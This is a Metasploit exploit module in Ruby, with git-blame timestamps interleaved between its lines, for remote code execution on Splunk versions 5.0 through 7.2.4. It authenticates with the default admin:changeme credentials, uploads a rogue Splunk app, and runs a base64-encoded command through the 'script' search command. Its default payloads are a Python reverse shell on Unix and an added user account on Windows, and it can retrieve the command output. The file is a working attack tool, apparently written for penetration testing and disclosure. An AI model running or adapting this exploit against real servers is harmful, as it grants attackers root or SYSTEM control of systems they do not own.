2012-12-07 11:55:48 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-12-07 11:55:48 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Remote
2013-01-23 23:35:31 -06:00
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
include Msf :: Exploit :: Remote :: HttpClient
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
def initialize ( info = { } )
2014-10-30 18:28:56 -07:00
super ( update_info (
info ,
2014-07-09 17:56:06 -04:00
'Name' = > 'Splunk Custom App Remote Code Execution' ,
2014-10-30 18:28:56 -07:00
'Description' = >
'This module exploits a feature of Splunk whereby a custom application can be
uploaded through the web based interface. Through the \'script\' search command a
2012-12-07 11:55:48 +01:00
user can call commands defined in their custom application which includes arbitrary
perl or python code. To abuse this behavior, a valid Splunk user with the admin
role is required. By default, this module uses the credential of "admin:changeme",
the default Administrator credential for Splunk. Note that the Splunk web interface
2014-07-09 17:56:06 -04:00
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
2019-03-18 09:12:00 +01:00
tested successfully against Splunk 5.0, 6.1, 6.1.1 and 7.2.4.
Version 7.2.4 has been tested successfully against OSX as well' ,
2012-12-07 11:55:48 +01:00
'Author' = >
[
2019-03-18 09:12:00 +01:00
" marcwickenden " , # discovery and metasploit module
" sinn3r " , # metasploit module
" juan vazquez " , # metasploit module
" Gary Blosser " , # metasploit module updates for Splunk 6.1
" Matteo Malvica " # metasploit module updates for Splunk 7.2.4
2012-12-07 11:55:48 +01:00
] ,
'License' = > MSF_LICENSE ,
'References' = >
[
[ 'URL' , 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ] ,
[ 'URL' , 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ] ,
[ 'URL' , 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ]
] ,
'Payload' = >
{
'Space' = > 1024 ,
'DisableNops' = > true
} ,
2019-03-18 09:12:00 +01:00
'Platform' = > %w( linux unix win osx ) ,
2012-12-07 11:55:48 +01:00
'Targets' = >
[
2019-03-18 09:12:00 +01:00
[ 'Splunk >= 7.2.4 / Linux' ,
{
'Arch' = > ARCH_CMD ,
2019-03-18 19:00:33 +01:00
'Platform' = > %w( linux unix ) ,
2019-03-18 15:11:04 +01:00
'DefaultOptions' = > { 'PAYLOAD' = > 'cmd/unix/reverse_python' }
2019-03-18 09:12:00 +01:00
}
] ,
[ 'Splunk >= 7.2.4 / Windows' ,
{
'Arch' = > ARCH_CMD ,
2019-03-18 19:00:33 +01:00
'Platform' = > 'win' ,
2019-03-18 15:11:04 +01:00
'DefaultOptions' = > { 'PAYLOAD' = > 'cmd/windows/adduser' }
2019-03-18 09:12:00 +01:00
}
] ,
[ 'Splunk >= 7.2.4 / OSX' ,
{
'Arch' = > ARCH_CMD ,
2019-03-18 19:00:33 +01:00
'Platform' = > %w( linux unix ) ,
2019-03-18 15:11:04 +01:00
'DefaultOptions' = > { 'PAYLOAD' = > 'cmd/unix/reverse_python' }
2019-03-18 09:12:00 +01:00
}
] ,
2014-07-09 17:56:06 -04:00
[ 'Splunk >= 5.0.1 / Linux' ,
2012-12-07 11:57:11 +01:00
{
'Arch' = > ARCH_CMD ,
2019-03-18 19:04:45 +01:00
'Platform' = > %w( linux unix ) ,
'DefaultOptions' = > { 'PAYLOAD' = > 'cmd/unix/reverse_python' }
2012-12-07 11:57:11 +01:00
}
2012-12-07 11:55:48 +01:00
] ,
2014-07-09 17:56:06 -04:00
[ 'Splunk >= 5.0.1 / Windows' ,
2012-12-07 11:55:48 +01:00
{
'Arch' = > ARCH_CMD ,
2019-03-18 19:04:45 +01:00
'Platform' = > 'win' ,
'DefaultOptions' = > { 'PAYLOAD' = > 'cmd/windows/adduser' }
2012-12-07 11:55:48 +01:00
}
]
] ,
2020-10-02 17:38:06 +01:00
'DisclosureDate' = > '2012-09-27' ) )
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
register_options (
[
Opt :: RPORT ( 8000 ) ,
2014-10-30 18:28:56 -07:00
OptString . new ( 'USERNAME' , [ true , 'The username with admin role to authenticate as' , 'admin' ] ) ,
OptString . new ( 'PASSWORD' , [ true , 'The password for the specified username' , 'changeme' ] ) ,
OptPath . new (
'SPLUNK_APP_FILE' ,
2012-12-07 11:55:48 +01:00
[
true ,
'The "rogue" Splunk application tgz' ,
File . join ( Msf :: Config . install_root , 'data' , 'exploits' , 'splunk' , 'upload_app_exec.tgz' )
] )
2017-05-03 15:42:21 -05:00
] )
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
register_advanced_options (
[
OptBool . new ( 'ReturnOutput' , [ true , 'Display command output' , false ] ) ,
OptBool . new ( 'DisableUpload' , [ true , 'Disable the app upload if you have already performed it once' , false ] ) ,
OptBool . new ( 'EnableOverwrite' , [ true , 'Overwrites an app of the same name. Needed if you change the app code in the tgz' , false ] ) ,
OptInt . new ( 'CommandOutputDelay' , [ true , 'Seconds to wait before requesting command output from Splunk' , 5 ] )
2017-05-03 15:42:21 -05:00
] )
2012-12-07 11:55:48 +01:00
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
def exploit
# process standard options
@username = datastore [ 'USERNAME' ]
@password = datastore [ 'PASSWORD' ]
file_name = datastore [ 'SPLUNK_APP_FILE' ]
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
# process advanced options
return_output = datastore [ 'ReturnOutput' ]
disable_upload = datastore [ 'DisableUpload' ]
@enable_overwrite = datastore [ 'EnableOverwrite' ]
command_output_delay = datastore [ 'CommandOutputDelay' ]
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
# set up some variables for later use
@auth_cookies = ''
@csrf_form_key = ''
2019-03-18 09:12:00 +01:00
@state_token = ''
@splunkweb_csrf_token_8000_id = ''
2014-10-30 18:28:56 -07:00
@csrf_form_port = " splunkweb_csrf_token_ #{ rport } " # Default to using rport, corrected during tokenization for v6 below.
2019-03-19 14:42:56 +01:00
@ver7 = false # splunk version 7 boolean
2012-12-07 11:55:48 +01:00
app_name = 'upload_app_exec'
p = payload . encoded
print_status ( " Using command: #{ p } " )
cmd = Rex :: Text . encode_base64 ( p )
2013-08-30 16:28:54 -05:00
2019-03-19 14:42:56 +01:00
# check if the target version is 7.2.4
2019-03-18 09:12:00 +01:00
if target . name . include? " 7.2.4 "
@ver7 = true
end
2019-03-19 14:42:56 +01:00
do_login
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
# fetch the csrf token for use in the upload next
2019-03-18 09:12:00 +01:00
if @ver7 == true
do_get_state_token ( '/en-US/manager/appinstall/_upload' )
else
do_get_csrf ( '/en-US/manager/launcher/apps/local' )
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
unless disable_upload
# upload the arbitrary command execution Splunk app tgz
2019-03-18 09:12:00 +01:00
if @ver7 == true
do_upload_app_7 ( app_name , file_name )
else
do_upload_app ( app_name , file_name )
end
2012-12-07 11:55:48 +01:00
end
2013-08-30 16:28:54 -05:00
2019-03-18 09:12:00 +01:00
if @ver7 == false
# get the next csrf token from our new app
do_get_csrf ( " /en-US/app/ #{ app_name } /flashtimeline " )
end
2019-03-19 14:42:56 +01:00
2012-12-07 11:55:48 +01:00
# call our command execution function with the Splunk 'script' command
print_status ( " Invoking script command " )
2019-03-18 09:12:00 +01:00
if @ver7 == true
res = send_request_cgi (
'uri' = > '/en-US/splunkd/__raw/servicesNS/admin/search/search/jobs' ,
2012-12-07 11:55:48 +01:00
'method' = > 'POST' ,
2019-03-18 09:12:00 +01:00
'cookie' = > " #{ @auth_cookies } ; " , # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
2012-12-07 11:55:48 +01:00
'headers' = >
{
'X-Requested-With' = > 'XMLHttpRequest' ,
2019-03-18 09:12:00 +01:00
'X-Splunk-Form-Key' = > @splunkweb_csrf_token_8000_id # Version 6 ignores extra headers (verified)
2012-12-07 11:55:48 +01:00
} ,
'vars_post' = >
{
'search' = > " search * | script msf_exec #{ cmd } " , # msf_exec defined in default/commands.conf
'status_buckets' = > " 300 " ,
'namespace' = > " #{ app_name } " ,
'ui_dispatch_app' = > " #{ app_name } " ,
'ui_dispatch_view' = > " flashtimeline " ,
'auto_cancel' = > " 100 " ,
'wait' = > " 0 " ,
'required_field_list' = > " * " ,
'adhoc_search_level' = > " smart " ,
'earliest_time' = > " 0 " ,
'latest_time' = > " " ,
'timeFormat' = > " %s.%Q "
}
2014-10-30 18:28:56 -07:00
)
2019-03-18 09:12:00 +01:00
else
res = send_request_cgi (
'uri' = > '/en-US/api/search/jobs' ,
'method' = > 'POST' ,
'cookie' = > " #{ @auth_cookies } ; #{ @csrf_form_port } = #{ @csrf_form_key } " , # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
'headers' = >
{
'X-Requested-With' = > 'XMLHttpRequest' ,
'X-Splunk-Form-Key' = > @csrf_form_key # Version 6 ignores extra headers (verified)
} ,
'vars_post' = >
{
'search' = > " search * | script msf_exec #{ cmd } " , # msf_exec defined in default/commands.conf
'status_buckets' = > " 300 " ,
'namespace' = > " #{ app_name } " ,
'ui_dispatch_app' = > " #{ app_name } " ,
'ui_dispatch_view' = > " flashtimeline " ,
'auto_cancel' = > " 100 " ,
'wait' = > " 0 " ,
'required_field_list' = > " * " ,
'adhoc_search_level' = > " smart " ,
'earliest_time' = > " 0 " ,
'latest_time' = > " " ,
'timeFormat' = > " %s.%Q "
}
)
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
if return_output
2019-11-26 15:38:34 +01:00
if @ver7 == true
2019-03-18 09:12:00 +01:00
res . body . match ( 'sid.*' )
job_id_blob = Regexp . last_match ( 0 )
job_id_blob2 = job_id_blob . split ( '>' ) [ 1 ]
job_id = job_id_blob2 . split ( '<' ) [ 0 ]
else
2012-12-07 11:55:48 +01:00
res . body . match ( / data": \ "([0-9.]+)" / )
2014-10-30 18:28:56 -07:00
job_id = Regexp . last_match ( 1 )
2019-03-18 09:12:00 +01:00
end
2012-12-07 11:55:48 +01:00
# wait a short time to let the output be produced
print_status ( " Waiting for #{ command_output_delay } seconds to retrieve command output " )
2014-10-30 18:28:56 -07:00
select ( nil , nil , nil , command_output_delay )
2012-12-07 11:55:48 +01:00
job_output = fetch_job_output ( job_id )
if job_output . body . match ( / Waiting for data... / )
print_status ( " No output returned in time " )
2014-10-30 18:28:56 -07:00
else
2012-12-07 11:55:48 +01:00
output = " "
job_output . body . each_line do | line |
# strip off the leading and trailing " added by Splunk
2014-10-30 18:28:56 -07:00
line . gsub! ( / ^" / , " " )
line . gsub! ( / "$ / , " " )
2012-12-07 11:55:48 +01:00
output << line
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
# return the output
print_status ( " Command returned: " )
print_line output
end
else
handler
end
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
def check
# all versions are actually "vulnerable" but check implemented for future proofing
# and good practice
res = send_request_cgi (
{
'uri' = > '/en-US/account/login' ,
'method' = > 'GET'
} , 25 )
2013-08-30 16:28:54 -05:00
2014-10-30 18:28:56 -07:00
if res && res . body =~ / Splunk Inc \ . Splunk /
2014-01-21 13:03:36 -06:00
return Exploit :: CheckCode :: Detected
2012-12-07 11:55:48 +01:00
else
return Exploit :: CheckCode :: Safe
end
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
def do_login
print_status ( " Authenticating... " )
# this method borrowed with thanks from splunk_mappy_exec.rb
res = send_request_cgi (
'uri' = > '/en-US/account/login' ,
'method' = > 'GET'
2014-10-30 18:28:56 -07:00
)
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
cval = ''
uid = ''
session_id_port =
session_id = ''
2014-10-30 18:28:56 -07:00
if res && res . code == 200
res . get_cookies . split ( ';' ) . each do | c |
c . split ( ',' ) . each do | v |
2012-12-07 11:55:48 +01:00
if v . split ( '=' ) [ 0 ] =~ / cval /
cval = v . split ( '=' ) [ 1 ]
elsif v . split ( '=' ) [ 0 ] =~ / uid /
uid = v . split ( '=' ) [ 1 ]
elsif v . split ( '=' ) [ 0 ] =~ / session_id /
session_id_port = v . split ( '=' ) [ 0 ]
session_id = v . split ( '=' ) [ 1 ]
end
2014-10-30 18:28:56 -07:00
end
end
2012-12-07 11:55:48 +01:00
else
2013-08-15 14:14:46 -05:00
fail_with ( Failure :: NotFound , " Unable to get session cookies " )
2012-12-07 11:55:48 +01:00
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
res = send_request_cgi (
'uri' = > '/en-US/account/login' ,
'method' = > 'POST' ,
'cookie' = > " uid= #{ uid } ; #{ session_id_port } = #{ session_id } ; cval= #{ cval } " ,
'vars_post' = >
{
'cval' = > cval ,
'username' = > @username ,
'password' = > @password
}
2014-10-30 18:28:56 -07:00
)
2013-08-30 16:28:54 -05:00
2014-10-30 18:28:56 -07:00
if ! res
fail_with ( Failure :: Unreachable , " No response " )
2019-03-18 09:12:00 +01:00
elsif res . code != 200
fail_with ( Failure :: Unreachable , " Authentication failed " )
elsif @ver7 == true
splunkweb_csrf_token_8000_port = ''
@splunkweb_csrf_token_8000_id = ''
splunkd_8000_port = ''
splunkd_8000_id = ''
#puts res
res . get_cookies . split ( ';' ) . each do | c |
c . split ( ',' ) . each do | v |
if v . split ( '=' ) [ 0 ] =~ / splunkweb_csrf_token_8000 /
splunkweb_csrf_token_8000_port = v . split ( '=' ) [ 0 ]
@splunkweb_csrf_token_8000_id = v . split ( '=' ) [ 1 ]
elsif v . split ( '=' ) [ 0 ] =~ / splunkd_8000 / # regex as the full name is something like splunkweb_csrf_token_8000
splunkd_8000_port = v . split ( '=' ) [ 0 ] # Accounting for tunnels where rport is not the actual server-side port
splunkd_8000_id = v . split ( '=' ) [ 1 ]
end
end
@auth_cookies = " session_id_8000=37305a4fb182fadd28a1591b64a0b22b0765159e; #{ splunkweb_csrf_token_8000_port } = #{ @splunkweb_csrf_token_8000_id } ; #{ splunkd_8000_port } = #{ splunkd_8000_id } ; splunkweb_uid=30A93112-7681-4C0D-B1F6-17CAB1FA2735;login=true "
end
2012-12-07 11:55:48 +01:00
else
2019-03-18 09:12:00 +01:00
session_id_port = ''
session_id = ''
res . get_cookies . split ( ';' ) . each do | c |
c . split ( ',' ) . each do | v |
if v . split ( '=' ) [ 0 ] =~ / session_id /
session_id_port = v . split ( '=' ) [ 0 ]
session_id = v . split ( '=' ) [ 1 ]
end
2012-12-07 11:55:48 +01:00
end
2014-10-30 18:28:56 -07:00
end
2019-03-18 09:12:00 +01:00
@auth_cookies = " #{ session_id_port } = #{ session_id } "
2012-12-07 11:55:48 +01:00
end
end
2019-03-19 14:42:56 +01:00
2012-12-07 11:55:48 +01:00
def do_upload_app ( app_name , file_name )
archive_file_name = :: File . basename ( file_name )
print_status ( " Uploading file #{ archive_file_name } " )
2022-03-10 18:03:35 +00:00
file_data = :: File . read ( file_name , mode : 'rb' )
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
boundary = '--------------' + rand_text_alphanumeric ( 6 )
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
data = " -- #{ boundary } \r \n "
data << " Content-Disposition: form-data; name= \" splunk_form_key \" \r \n \r \n "
data << " #{ @csrf_form_key } "
data << " \r \n -- #{ boundary } \r \n "
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
if @enable_overwrite
data << " Content-Disposition: form-data; name= \" force \" \r \n \r \n "
data << " 1 "
data << " \r \n -- #{ boundary } \r \n "
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
data << " Content-Disposition: form-data; name= \" appfile \" ; filename= \" #{ archive_file_name } \" \r \n "
data << " Content-Type: application/x-compressed \r \n \r \n "
data << file_data
data << " \r \n -- #{ boundary } -- \r \n "
2013-08-30 16:28:54 -05:00
2014-10-30 18:28:56 -07:00
res = send_request_cgi (
{
'uri' = > '/en-US/manager/appinstall/_upload' ,
'method' = > 'POST' ,
# Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too.
'cookie' = > " #{ @auth_cookies } ; #{ @csrf_form_port } = #{ @csrf_form_key } " ,
'ctype' = > " multipart/form-data; boundary= #{ boundary } " ,
'data' = > data
} , 30 )
if res && ( res . code == 303 || ( res . code == 200 && res . body !~ / There was an error processing the upload / ) )
2017-07-19 12:48:52 +01:00
print_good ( " #{ app_name } successfully uploaded " )
2012-12-07 11:55:48 +01:00
else
2013-08-15 14:14:46 -05:00
fail_with ( Failure :: Unknown , " Error uploading " )
2012-12-07 11:55:48 +01:00
end
end
2013-08-30 16:28:54 -05:00
2019-03-18 09:12:00 +01:00
# version 7.2.x only
def do_upload_app_7 ( app_name , file_name )
archive_file_name = :: File . basename ( file_name )
print_status ( " Uploading file #{ archive_file_name } " )
2022-03-10 18:03:35 +00:00
file_data = :: File . read ( file_name , mode : 'rb' )
2019-03-18 09:12:00 +01:00
boundary = '---------------------------' + rand_text_numeric ( 29 )
data = " -- #{ boundary } \r \n "
data << " Content-Disposition: form-data; name= \" state \" \r \n "
data << " \r \n #{ @state_token } \r \n "
data << " -- #{ boundary } \r \n "
data << " Content-Disposition: form-data; name= \" splunk_form_key \" \r \n "
data << " \r \n #{ @splunkweb_csrf_token_8000_id } \r \n "
data << " -- #{ boundary } \r \n "
data << " Content-Disposition: form-data; name= \" appfile \" ; filename= \" #{ archive_file_name } \" \r \n "
data << " Content-Type: application/x-compressed-tar \r \n \r \n "
data << file_data
data << " \r \n -- #{ boundary } \r \n "
data << " Content-Disposition: form-data; name= \" force \" \r \n \r \n "
data << " 1 "
data << " \r \n -- #{ boundary } -- \r \n "
2019-03-19 14:42:56 +01:00
2019-03-18 09:12:00 +01:00
res = send_request_cgi (
{
'uri' = > '/en-US/manager/appinstall/_upload' ,
'method' = > 'POST' ,
2019-03-19 13:57:19 +01:00
'cookie' = > @auth_cookies ,
2019-03-18 09:12:00 +01:00
'ctype' = > " multipart/form-data; boundary= #{ boundary } " ,
'data' = > data
} , 30 )
2019-03-19 14:58:31 +01:00
unless res
fail_with ( Failure :: Unreachable , " Connection failed " )
end
unless res . code == 303 || res . code == 200
fail_with ( Failure :: UnexpectedReply , " Unexpected reply (HTTP #{ res . code } ) " )
end
if res . body . include? ( 'There was an error processing the upload' )
2019-03-18 09:12:00 +01:00
fail_with ( Failure :: Unknown , " Error uploading " )
end
2019-03-19 14:58:31 +01:00
print_good ( " #{ app_name } successfully uploaded " )
2019-03-19 15:28:24 +01:00
2019-03-19 15:08:51 +01:00
end
2019-03-19 15:28:24 +01:00
2012-12-07 11:55:48 +01:00
def do_get_csrf ( uri )
print_status ( " Fetching csrf token from #{ uri } " )
res = send_request_cgi (
'uri' = > uri ,
'method' = > 'GET' ,
'cookie' = > @auth_cookies
2014-10-30 18:28:56 -07:00
)
2014-07-09 17:56:06 -04:00
res . body . match ( / FORM_KEY": \ "( \ d+)" / ) # Version 5
2014-10-30 18:28:56 -07:00
@csrf_form_key = Regexp . last_match ( 1 )
2014-07-09 17:56:06 -04:00
unless @csrf_form_key # Version 6
2014-10-30 18:28:56 -07:00
res . get_cookies . split ( ';' ) . each do | c |
c . split ( ',' ) . each do | v |
if v . split ( '=' ) [ 0 ] =~ / splunkweb_csrf_token / # regex as the full name is something like splunkweb_csrf_token_8000
2014-07-09 17:56:06 -04:00
@csrf_form_port = v . split ( '=' ) [ 0 ] # Accounting for tunnels where rport is not the actual server-side port
@csrf_form_key = v . split ( '=' ) [ 1 ]
end
2014-10-30 18:28:56 -07:00
end
end
2014-07-09 17:56:06 -04:00
end
2014-10-30 18:28:56 -07:00
fail_with ( Failure :: Unknown , " csrf form Key not found " ) unless @csrf_form_key
2012-12-07 11:55:48 +01:00
end
2013-08-30 16:28:54 -05:00
2019-03-18 09:12:00 +01:00
# version 7.2.x only
def do_get_state_token ( uri )
2019-03-19 15:28:24 +01:00
print_status ( " Fetching state token from #{ uri } " )
res = send_request_cgi (
'uri' = > uri ,
'method' = > 'GET' ,
'cookie' = > @auth_cookies
)
#puts res
res . body . match ( 'name=\"state\" value="(.*)"' ) # Version 5
@state_token = Regexp . last_match ( 1 )
unless @state_token
fail_with ( Failure :: Unknown , " state token form Key not found " )
end
2019-03-18 09:12:00 +01:00
end
2012-12-07 11:55:48 +01:00
def fetch_job_output ( job_id )
# fetch the output of our job id as csv for easy parsing
print_status ( " Fetching job_output for id #{ job_id } " )
2014-10-30 18:28:56 -07:00
send_request_raw (
'uri' = > " /en-US/api/search/jobs/ #{ job_id } /result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000 " ,
2012-12-07 11:55:48 +01:00
'method' = > 'GET' ,
'cookie' = > @auth_cookies ,
'encode_param' = > 'false'
2014-10-30 18:28:56 -07:00
)
2012-12-07 11:55:48 +01:00
end
end